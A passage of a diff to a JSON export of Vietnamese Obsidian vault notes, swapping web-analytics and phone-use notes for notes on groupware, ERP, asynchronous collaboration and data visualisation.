Fixed-Width, and more... compared and explained - YouTube](https://youtu.be/6caucCsePqs?si=coTpJ7unQaKEql5L)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-02T03:46:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "ST" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T08:20:00.000Z", + "id": "Sh" }, { - "Tiêu đề": "Xem điện thoại trước lúc ngủ làm khó ngủ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Xem điện thoại trước lúc ngủ làm khó ngủ", + "Tiêu đề": "Groupware giúp cho việc cộng tác trong nhóm và giao tiếp giữa các thành viên trong nhóm. ERP giúp cho việc quản lý toàn diện các hoạt động của doanh nghiệp", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Groupware giúp cho việc cộng tác trong nhóm và giao tiếp giữa các thành viên trong nhóm. ERP giúp cho việc quản lý toàn diện các hoạt động của doanh nghiệp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: \r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/W6CBb3yX9Zs\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen></iframe>\r\n", + "Toàn bộ nội dung": "Groupware là phần mềm nhóm, giúp các cá nhân cộng tác trên các dự án với mục tiêu chung từ các địa điểm phân tán về mặt địa lý thông qua giao diện Internet chia sẻ như một phương tiện để giao tiếp trong nhóm[1](https://filegi.com/tech-term/groupware-3057/). Groupware có thể bao gồm hệ thống lưu trữ truy cập từ xa để lưu trữ thường xuyên sử dụng các file dữ liệu[1](https://filegi.com/tech-term/groupware-3057/).\n\nERP (Enterprise Resource Planning) là hệ thống hoạch định nguồn lực doanh nghiệp. Nhiệm vụ của ERP đó là tạo ra không gian thống nhất, đa chức năng liên kết mọi hoạt động của doanh nghiệp: từ quản trị toàn diện đầu vào, đầu ra; tới lập kế hoạch, thống kê, kiểm soát các nghiệp vụ về sản xuất, tài chính, nhân sự… Nhằm hỗ trợ doanh nghiệp có thể phân tích chuyên sâu dữ liệu và đưa ra các dự báo, hỗ trợ nhà quản lý hoặc các bộ phận tác nghiệp hiệu quả[2](https://itgtechnology.vn/so-sanh-cac-phan-mem-erp-noi-bat-tren-thi-truong-nam-2021/).\n\nVậy Groupware và ERP có điểm khác biệt cơ bản là Groupware giúp cho việc cộng tác trong nhóm và giao tiếp giữa các thành viên trong nhóm trong khi ERP giúp cho việc quản lý toàn diện các hoạt động của doanh nghiệp.\n\n# Các cách phân loại groupware\n## Theo không thời gian\n![](https://upload.wikimedia.org/wikipedia/commons/thumb/2/28/Cscwmatrix.jpg/703px-Cscwmatrix.jpg) \nNguồn:: [[⚡Hiểu biết sâu/Ξ Nguồn/Wikipedia]], [Computer-supported cooperative work](https://en.wikipedia.org/wiki/Computer-supported_cooperative_work), [[Bing AI]], [Collaborative software](https://en.wikipedia.org/wiki/Collaborative_software)\n\n## Theo mức độ hợp tác\n- Giao tiếp\n- Hội ý\n- Điều phối\n\nGroupware can be divided into three categories depending on the level of [collaboration](https://en.wikipedia.org/wiki/Collaboration \"Collaboration\")\n\n1. **Communication** can be thought of as unstructured interchange of information. A phone call or an [instant messaging](https://en.wikipedia.org/wiki/Instant_messaging \"Instant messaging\") chat discussion are examples of this.\n2. **Conferencing** (or collaboration level, as it is called in the academic papers that discuss these levels) refers to interactive work toward a shared goal. Brainstorming or voting are examples of this.\n3. **Co-ordination** refers to complex interdependent work toward a shared goal. A good metaphor for understanding this is to think about a sports team; everyone has to contribute the right play at the right time as well as adjust their play to the unfolding situation - but everyone is doing something different - in order for the team to win. That is complex interdependent work toward a shared goal: collaborative management.\n\n\n![](https://www.researchgate.net/profile/Michael-Koch-21/publication/205976839/figure/fig1/AS:651875657474064@1532430676618/Categorizing-Groupware-in-between-the-three-different-interaction-modescommunication.png) \n\n## Theo chức năng (dành cho loại coordination) \nCollaborative management tools facilitate and manage group activities. Examples include:\n\n- [Document collaboration](https://en.wikipedia.org/wiki/Document_collaboration \"Document collaboration\") systems — set up to help multiple people work together on a single document or file to achieve a single final version\n- [Electronic calendars](https://en.wikipedia.org/wiki/Electronic_calendar \"Electronic calendar\") (also called [time management](https://en.wikipedia.org/wiki/Time_management \"Time management\") software) — schedule events and automatically notify and remind group members\n- [Project management](https://en.wikipedia.org/wiki/Project_management \"Project management\") systems — schedule, track, and chart the steps in a project as it is being completed\n- [Online proofing](https://en.wikipedia.org/wiki/Online_proofing \"Online proofing\") — share, review, approve, and reject web proofs, artwork, photos, or videos between designers, customers, and clients\n- [Workflow systems](https://en.wikipedia.org/wiki/Workflow_system \"Workflow system\") — collaborative management of tasks and documents within a knowledge-based business process\n- [Knowledge management systems](https://en.wikipedia.org/wiki/Knowledge_management_software \"Knowledge management software\") — collect, organize, manage, and share various forms of information\n- [Enterprise bookmarking](https://en.wikipedia.org/wiki/Enterprise_bookmarking \"Enterprise bookmarking\") — collaborative bookmarking engine to tag, organize, share, and search enterprise data\n- [Prediction markets](https://en.wikipedia.org/wiki/Prediction_market \"Prediction market\") — let a group of people predict together the outcome of future events\n- [Extranet](https://en.wikipedia.org/wiki/Extranet \"Extranet\") systems (sometimes also known as 'project extranets') — collect, organize, manage and share information associated with the delivery of a project (e.g.: the construction of a building)\n- [Intranet](https://en.wikipedia.org/wiki/Intranet \"Intranet\") systems — quickly share company information to members within a company via Internet (e.g.: marketing and product info)\n- [Social software](https://en.wikipedia.org/wiki/Social_software \"Social software\") systems — organize social relations of groups\n- [Online spreadsheets](https://en.wikipedia.org/wiki/Online_spreadsheet \"Online spreadsheet\") — collaborate and share structured data and information\n- [Client portals](https://en.wikipedia.org/wiki/Client_portal \"Client portal\") — interact and share with your clients in a private online environment[_[citation needed](https://en.wikipedia.org/wiki/Wikipedia:Citation_needed \"Wikipedia:Citation needed\")_]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SU" + "Ngày cập nhật": "2024-09-01T14:08:00.000Z", + "id": "Si" }, { - "Tiêu đề": "Điện thoại làm tăng sự lo lắng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Sức khoẻ/Điện thoại làm tăng sự lo lắng", + "Tiêu đề": "Groupware requires careful implementation into a group setting, and product developers have not as yet been able to find the most optimal way to introduce such systems into organizational environments", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Groupware requires careful implementation into a group setting, and product developers have not as yet been able to find the most optimal way to introduce such systems into organizational environments", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giải pháp gợi ý:: Một chiếc điện thoại nhỏ không có chức năng liên lạc mà chỉ dùng để báo thức và ghi chú nhanh\r\n", + "Toàn bộ nội dung": "Nguồn:: [[⚡Hiểu biết sâu/Ξ Nguồn/Wikipedia]], [Computer-supported cooperative work](https://en.wikipedia.org/wiki/Computer-supported_cooperative_work#Standardization_in_information_infrastructure)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:27:00.000Z", - "id": "SV" + "Ngày cập nhật": "2024-09-01T14:08:00.000Z", + "id": "Sj" }, { - "Tiêu đề": "Chiến dịch là sản phẩm", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Chiến dịch là sản phẩm", + "Tiêu đề": "Hợp tác làm việc", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khi trang web chỉ là những bài viết thì có thể dùng nhóm chủ đề. Nhưng tốt nhất là cố gắng tìm ra mục tiêu của mình khi viết những bài đó, biến nhóm chủ đề đó thành một dự án, đặt tên cho dự án đó, rồi dùng tên đó để làm tên chiến dịch.\n[[Dự án là sản phẩm]]\n\nTuy nhiên, do dựa vào tên trang ta có thể suy ra được\n\n[[Sản phẩm là kết quả của các công việc]] \n[[Các công việc trong một dự án chủ yếu là các công việc khai phá. Các công việc trong một chiến dịch chủ yếu là các công việc khai thác]]\n", + "Toàn bộ nội dung": "```dataview\nLIST rows.file.link\nFROM \"📜Tài nguyên/Lĩnh vực/Hệ thống thông tin/Hợp tác làm việc\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[3]\n```\n\n[Augmenting Organizational Intelligence](https://fibery.io/blog/gems/augmenting-organizational-intelligence/)\n[A Short History of Bi-Directional Links](https://maggieappleton.com/bidirectionals)\n[Querying Decentralized Data in Rhizomatic Systems - Quinn Wilton](https://www.youtube.com/watch?v=vkMXbk7Pn_M&fbclid=IwAR3_KiqxXqX8s6zhinjqssfkLkp_9tRL2jTKAtNOxk1m1hozRq9dLZxJ0WE)\n![](https://www.researchgate.net/profile/Shahrinaz-Ismail-2/publication/261459678/figure/fig2/AS:296803514765312@1447774880081/figure-fig2.png)\n\nNguồn:: [(PDF) Personal intelligence in collective goals: A bottom-up approach from PKM to OKM](https://www.researchgate.net/publication/261459678_Personal_intelligence_in_collective_goals_A_bottom-up_approach_from_PKM_to_OKM)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T10:45:00.000Z", - "id": "SW" + "Ngày tạo": "2024-03-12T17:58:00.000Z", + "Ngày cập nhật": "2024-09-01T14:08:00.000Z", + "id": "Sk" }, { - "Tiêu đề": "Các organic branded traffic nên được xem như là direct traffic", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Các organic branded traffic nên được xem như là direct traffic", + "Tiêu đề": "Hợp tác thời gian thực không thực sự cần thiết trong đa số trường hợp. Đa số đều là hợp tác phi đồng bộ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Hợp tác thời gian thực không thực sự cần thiết trong đa số trường hợp. Đa số đều là hợp tác phi đồng bộ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Organic search traffic bao gồm cả các branded traffic, tức là các traffic mà từ khóa mà người dùng sử dụng để tìm kiếm có chứa tên thương hiệu trong đó. Ví dụ brand ở đây là Wall Street English và thay vì tìm kiếm với từ khóa chung chung là _“học tiếng Anh”_ thì người dùng có thể tìm kiếm bằng từ khóa _“học tiếng Anh Wall Street English”_ và bấm vào kết quả tìm kiếm tự nhiên để vào website. Lúc này về mặt kỹ thuật, các traffic này vẫn là search traffic nhưng về mặt bản chất thì người dùng đã biết đến Wall Street English từ trước và họ tìm kiếm với mục đích là để đến website của brand này chứ không phải để tìm kiếm sự lựa chọn nữa. Và branded traffic thường có xu hướng gia tăng khi nhận diện thương hiệu của brand được gia tăng (thông qua các hoạt động quảng cáo, branding, PR) chứ không liên quan nhiều đến kết quả thứ hạng các từ khóa và hoạt động SEO. Một số khách hàng và công ty mà tôi đã có dịp tư vấn qua thì organic traffic của họ tăng trưởng đều đều nhưng sau khi kiểm tra lại thì thực chất phần tăng trưởng đó là branded traffic và phần này có khi chiếm tới 80% tổng số organic traffic. Lúc này thực chất, từ khóa duy nhất mà các công ty này đang rank có lẽ chỉ là tên thương hiệu của họ.\n\n# Giải pháp\n\nVì các lý do nêu trên, các branded traffic nên được xem như là direct traffic thì sẽ chính xác hơn về mặt ý nghĩa để đánh giá và phân tích. Trong Google Analytics nên thiết lập một segment để đo lường branded traffic và non-branded traffic riêng biệt để có đánh giá chính xác hơn về tình hình thực sự của organic traffic mà không bị ảnh hưởng bởi người dùng tìm kiếm về thương hiệu.\n\nCách thiết lập segment cho Branded Traffic: vào mục Organic Search trong Channels, phía trên cái graph sẽ có dòng Add Segment, bấm vào đó. Sau đó bấm New Segment, đặt tên là Branded Organic Traffic hay đại loại, trong bảng đó bấm vào Traffic Sources, khung medium chọn contains sau đó gõ vào “organic”. Sau đó trong phần Conditions bên dưới trong khung đầu tiên chọn “Keyword”, khung thứ hai chọn “contains” sau đó phần khung còn lại điền vào brand của mình. Nếu brand có nhiều cách gọi hoặc cách gõ thì tốt nhất nên nhập hết bao gồm cả typo, ví dụ “wall street english”, “wse”, “wallstreet english”, “wsenglish”. Sau đó bấm Save là xong.\n\n[![branded-organic-traffic.png](https://conversion.vn/wp-content/uploads/branded-organic-traffic.png)](https://conversion.vn/wp-content/uploads/branded-organic-traffic.png)\n\nNên thiết lập một segment để tracking traffic liên quan đến branded keywords. \n\nNguồn:: [[Bùi Quang Tinh Tú]], [Google Analytics Và Tại Sao Nó Không Chính Xác](https://conversion.vn/google-analytics-khong-chinh-xac/#Organic_Search)\n", + "Toàn bộ nội dung": "[[Git mở ra nhiều khả thể trong việc hợp tác]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-30T05:52:00.000Z", - "Ngày cập nhật": "2024-09-01T10:45:00.000Z", - "id": "SX" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T14:08:00.000Z", + "id": "Sl" }, { - "Tiêu đề": "Các URL dài có thể là organic traffic chứ không phải direct traffic", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Các URL dài có thể là organic traffic chứ không phải direct traffic", + "Tiêu đề": "Máy không mệt khi phát sự kiện cũng như lắng nghe sự kiện", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Máy không mệt khi phát sự kiện cũng như lắng nghe sự kiện", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Google Analytics thường xác định visits thuộc về nguồn traffic nào dựa vào referrer, tuy nhiên vì một lý do nào đó mà referrer này lại bị mất dẫn đến việc các traffic đó sẽ bị xếp loại vào direct traffic. Vậy bao nhiêu organic traffic hiện đang bị tính vào direct traffic? Một nghiên cứu được tiến hành bởi Gene McKenna – Product Manager của Groupon đã cho thấy rằng có thể có tới [60% direct traffic của bạn hiện tại là organic](http://searchengineland.com/60-direct-traffic-actually-seo-195415). Con số đó có thể chỉ là trong trường hợp của Groupon, một trang deal / e-commerce, tùy theo tình trạng website của bạn như thế nào, số lượng organic traffic của bạn bị lẫn trong direct traffic có thể nằm trong khoản 20% – 80%.\n\n## Giải pháp\n\nKiểm tra trong phần direct traffic của report và chú ý tới các URLs dài, khó nhớ và khó có khả năng người dùng gõ trực tiếp vào trình duyệt hoặc bookmark, chúng nhiều khả năng không phải là direct traffic mà chính là organic traffic.\n\n[![long-tail-organic-traffic-trong-direct.png](https://conversion.vn/wp-content/uploads/long-tail-organic-traffic-trong-direct.png)](https://conversion.vn/wp-content/uploads/long-tail-organic-traffic-trong-direct.png)\n\nCó thể chúng là organic traffic, chứ không phải direct traffic.\n\nNguồn:: [[Bùi Quang Tinh Tú]], [Google Analytics Và Tại Sao Nó Không Chính Xác](https://conversion.vn/google-analytics-khong-chinh-xac/#Organic_Search)\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-30T06:05:00.000Z", - "Ngày cập nhật": "2024-09-01T10:45:00.000Z", - "id": "SY" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T14:08:00.000Z", + "id": "Sm" }, { - "Tiêu đề": "Dữ liệu từ phân tích web chỉ nói người dùng ngừng đọc ở đâu, chứ không nói cho ta biết vấn đề là gì, không nói cho ta biết ta nên đi đâu", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Dữ liệu từ phân tích web chỉ nói người dùng ngừng đọc ở đâu, chứ không nói cho ta biết vấn đề là gì, không nói cho ta biết ta nên đi đâu", + "Tiêu đề": "Real-time collaboration isn't necessary in most cases, but asynchronous collaboration", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Real-time collaboration isn't necessary in most cases, but asynchronous collaboration", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Lecture 16 - How to Run a User Interview (Emmett Shear) - YouTube](https://www.youtube.com/watch?v=qAws7eXItMk)", + "Toàn bộ nội dung": "[[Git mở ra nhiều khả thể trong việc hợp tác]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T10:45:00.000Z", - "id": "SZ" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T14:08:00.000Z", + "id": "Sn" }, { - "Tiêu đề": "Một số medium cho blog: social, referral, forum, blog, chat, form", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Một số medium cho blog là social, referral, forum, blog, chat, form", + "Tiêu đề": "Sơ đồ kết nối", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Sơ đồ kết nối", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n\nXem thêm:: [[Hướng dẫn truyền thông]]\n# Những nơi sẽ được đặt\n- Facebook:\n\t- group:\n\t\t- bài đăng\n\t\t\t- comment\n\t- group chat:\n\t\t- phòng chat\n\t- cá nhân\n\t- page\n\t- profile\n- Blog: tên website \n\t- Comment\n\t- Link khi bấm vào profile\n- Discord\n\t- Profile\n\t- Server \n\t\t- Channel\n\t\t\t- Thread\n\t\t\t\t- Topic\n[UTM and UTM convention best practices](https://funnel.io/resources/utm-and-utm-convention-best-practices)\n[Advanced UTM Naming Convention Guide (Benefits, Uses & Workflow)](https://web.utm.io/blog/utm-naming-conventions-guide/)\n\n[[Chiến dịch là sản phẩm]]", + "Toàn bộ nội dung": "![](https://www.researchgate.net/profile/Shahrinaz-Ismail-2/publication/261459678/figure/fig2/AS:296803514765312@1447774880081/figure-fig2.png)\n\nNguồn:: [(PDF) Personal intelligence in collective goals: A bottom-up approach from PKM to OKM](https://www.researchgate.net/publication/261459678_Personal_intelligence_in_collective_goals_A_bottom-up_approach_from_PKM_to_OKM)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:45:00.000Z", - "id": "Sa" + "Ngày cập nhật": "2024-09-01T14:08:00.000Z", + "id": "So" }, { - "Tiêu đề": "Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn", + "Tiêu đề": "Sự kiện chỉ thông báo về sự thay đổi chứ không kỳ vọng một chương trình phản ứng với nó", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Sự kiện chỉ thông báo về sự thay đổi chứ không kỳ vọng một chương trình phản ứng với nó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", + "Toàn bộ nội dung": "[[Máy không mệt khi phát sự kiện cũng như lắng nghe sự kiện]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-06-30T06:12:00.000Z", - "Ngày cập nhật": "2024-09-01T10:45:00.000Z", - "id": "Sb" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-01T14:08:00.000Z", + "id": "Sp" }, { - "Tiêu đề": "Web analytics đã thay đổi trong nhiều năm qua", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Phân tích web/Web analytics đã thay đổi trong nhiều năm qua", + "Tiêu đề": "Sự kiện là một sự thay đổi về trạng thái", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Sự kiện là một sự thay đổi về trạng thái", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- Người dùng ngày càng đòi hỏi cao hơn về sự riêng tư\n- Nhiều bộ luật và chính sách toàn cầu mới về dữ liệu\n- Các trình duyệt giảm hỗ trợ cookie\n- Người dùng sử dụng nhiều thiết bị hơn, có thể bắt đầu ở thiết bị này nhưng kết thúc ở thiết bị khác (trước đây chỉ có mỗi web) \n\nNguồn:: [Exceed: cannot access content](https://skillshop.exceedlms.com/uploads/resource_courses/targets/1468635/original/index.html?_courseId=291144#/page/6491e7af8f5788176787aef2)\n", + "Toàn bộ nội dung": "Nguồn:: [[IBM]], ![Event-Driven Business](https://youtu.be/p8DA_ca86-c)\n!https://youtu.be/JLyhri8ckeI \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-02T14:06:00.000Z", - "Ngày cập nhật": "2024-09-01T10:45:00.000Z", - "id": "Sc" + "Ngày tạo": "2023-06-11T02:17:00.000Z", + "Ngày cập nhật": "2024-09-01T14:08:00.000Z", + "id": "Sq" }, { - "Tiêu đề": "Tiếp thị số", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Tiếp thị số/Tiếp thị số", + "Tiêu đề": "The assumption of centralization is deeply ingrained in our user experiences today, and we are only beginning to discover the consequences of changing that assumption", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/The assumption of centralization is deeply ingrained in our user experiences today, and we are only beginning to discover the consequences of changing that assumption", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nhu cầu công nghệ::\nGiải pháp kỹ thuật:: [[Google Analytics, Google Tag Manager]], [[UTM]]", + "Toàn bộ nội dung": "Nguồn:: [Local-first software: You own your data, in spite of the cloud](https://www.inkandswitch.com/local-first/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T10:45:00.000Z", - "id": "Sd" + "Ngày cập nhật": "2024-09-01T14:08:00.000Z", + "id": "Sr" }, { - "Tiêu đề": "Delightful humane design", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Delightful humane design", + "Tiêu đề": "Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Hợp tác làm việc/Việc hợp tác làm việc thời gian thực với dữ liệu được lưu ở máy cá nhân là một bài toán khó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[teaserbot-labs/delightful-humane-design: A curated list of humane design resources for UX designers and developers. - delightful-humane-design - Codeberg.org](https://codeberg.org/teaserbot-labs/delightful-humane-design \"teaserbot-labs/delightful-humane-design: A curated list of humane design resources for UX designers and developers. - delightful-humane-design - Codeberg.org\")\n[[Việc khai thác điểm yếu của con người đem lại lợi nhuận]]\n[Nudge | Get your time back](https://nudgeware.io/)", + "Toàn bộ nội dung": "[[Có sự đánh đổi giữa sự tự do sử dụng dữ liệu và sự tiện lợi trong việc hợp tác]] \nTuy nhiên, \n[[Hợp tác thời gian thực không thực sự cần thiết trong đa số trường hợp. Đa số đều là hợp tác phi đồng bộ]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-16T16:27:00.000Z", - "id": "Se" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T06:56:00.000Z", + "id": "Ss" }, { - "Tiêu đề": "Cơ sở dữ liệu", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Hệ thống thông tin/Cơ sở dữ liệu", + "Tiêu đề": "Bỏ hết những thông tin thừa khi làm đồ thị", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Bỏ hết những thông tin thừa khi làm đồ thị", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Academic Torrents](https://academictorrents.com/ \"Academic Torrents\")\n", + "Toàn bộ nội dung": "<div class=\"deck-embed js-deck-embed\" style=\"aspect-ratio:1024/768;\" data-ratio=\"1.3333333333333333\" data-state=\"processed\"><div class=\"speakerdeck-embed\" data-title=\"false\" data-skip-resize=\"true\" data-id=\"87bb9f00ec1e01308020727faa1f9e72\" data-name=\"Remove to Improve (the data-ink ratio)\" data-ratio=\"1.3333333333333333\" data-host=\"speakerdeck.com\"></div></div>\n\n![data-ink.gif](https://images.squarespace-cdn.com/content/v1/56713bf4dc5cb41142f28d1f/1450306653111-70K5IT30R69NWPDIE1ZJ/data-ink.gif?format=2500w)\n> “Perfection is achieved not when there is nothing more to add, but when there is nothing left to take away” _– Antoine de Saint-Exupery_\n\nNguồn:: [Data looks better naked — Darkhorse Analytics | Edmonton, AB](https://www.darkhorseanalytics.com/blog/data-looks-better-naked/)\n[[Sự đơn giản ép ta phải làm nó cực kỳ tốt]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T09:57:00.000Z", - "id": "Sf" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-09-02T07:24:00.000Z", + "id": "St" }, { - "Tiêu đề": "Truy vấn dữ liệu", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Hệ thống thông tin/Truy vấn dữ liệu", + "Tiêu đề": "Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích mạng lưới, lý thuyết đồ thị/Chỉnh link distance nhỏ nhất và link force lớn nhất để thấy rõ từng cụm nút", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Giải pháp kỹ thuật:: [[SQL]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-09-01T09:57:00.000Z", - "id": "Sg" + "Ngày tạo": "2023-11-28T04:12:00.000Z", + "Ngày cập nhật": "2024-09-02T07:24:00.000Z", + "id": "Su" }, { - "Tiêu đề": "Tạo web", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Nhu cầu công nghệ/Hệ thống thông tin/Tạo web", + "Tiêu đề": "Concept map, knowledge graph", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Lĩnh vực/Khoa học dữ liệu/Phân tích mạng lưới, lý thuyết đồ thị/Concept map, knowledge graph", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lĩnh vực:: [[Lập trình web]]\nGiải pháp kỹ thuật:: [[Mkdocs]], [[Netlify]], [[Git, GitHub, GitKraken]]\n\nCMS:\n- [Intuitive Static CMS for Fast, Secure, GDPR-Compliant Websites. It's free!](https://getpublii.com/)\n- [Ghost: The best open source blog & newsletter platform](https://ghost.org/)\n- [Primo](https://primo.so/)\n[FAQ](https://getpublii.com/faq/)\n\nXem thêm:: [[Tạo website]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-09-01T09:59:00.000Z", - "id": "Sh" + "Ngày cập nhật": "2024-09-02T07:24:00.000Z", + "id": "Sv" }, { - "Tiêu đề": "Viết plugin", - "URL": 